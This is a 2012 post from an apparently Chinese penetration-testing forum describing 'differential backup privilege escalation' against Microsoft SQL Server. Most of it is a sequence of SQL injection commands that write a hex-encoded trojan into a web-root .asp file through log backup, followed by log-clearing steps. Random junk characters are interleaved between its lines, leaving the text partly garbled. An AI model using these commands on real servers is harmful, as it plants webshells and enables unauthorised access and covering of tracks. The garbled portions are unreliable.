中国网络渗透测试联盟
标题:
差异备份提权
[打印本页]
作者:
admin
时间:
2012-9-15 14:38
标题:
差异备份提权
select * from master.dbo.sysdatabases 列出所有列的记录
]# |: U+ Y" {( {6 k* y
4 O" X0 T( T' y. R; r
select name from master.dbo.sysdatabases 仅列出name列的记录
) v0 u7 y( I. [ m
. F* `# a) {' E: Q: h2 R
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
( P/ l* p( e( z/ S3 v L
; Z- x" e6 T3 M! F" ?* q( `
alter database 数据库名 set RECOVERY FULL--
% Y0 ]# j7 L, W! g, v& D! z
' p3 T, a6 A- M( T
create table cmd (a image)-- \**cmd是创建的临时表
3 U1 {, A# V7 D$ Y- D4 _, ^* J/ G
' P* J4 L* T3 B
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
9 Q& s9 J* ^: s8 A) a q
( A6 K3 a2 a/ l- W. c# [, Q
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
: Z/ a) r5 z, e6 T" `* L* s- y! q8 {) X
* ~4 y2 d3 ]' a$ q
//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
9 g# k9 I1 K, F2 k
5 N. P' d! Y" G, o. A+ W
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
* \* Y, {9 h7 ^1 J9 z
( Q% z7 @& O4 _
drop table cmd--
& G3 I& n' Q7 t# W" s I0 j; _
5 Z7 r& o) }: Y- A
0 z2 i' O6 Q. N" e
f:\
- E. P2 q% \% c8 ], c3 U6 U3 {
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)
- Y+ C& \% e& ^. E" o
. @. C/ a2 s* h( x: k
最好多加几个回车0d0a,要不会出错哈
2 E, B; Z' o( l/ ]
: k9 g3 n m+ R" c% z/ U
, |& o& u- ? ~, v! ~8 p$ f- R& c$ J
SQL Server日志清空方法
5 n' B3 {% x, q! |/ Z& u3 C
6 y5 V9 ]* N m% T; c J2 H
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名
1 Y$ j9 w9 m. X# O
1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
+ G6 T0 q0 T! v' y
+ E( C) w. z/ P V0 T- M y1 s6 k
2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
5 ^! e" D2 U0 Y- W$ Y- E/ o
3 Q* C4 j% A+ M% e9 i! X
3.收缩数据库:DBCC SHRINKDATABASE(databasename)
l1 n) ~* J8 b- C6 D5 ?& X6 Q9 ?8 X( z0 g
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2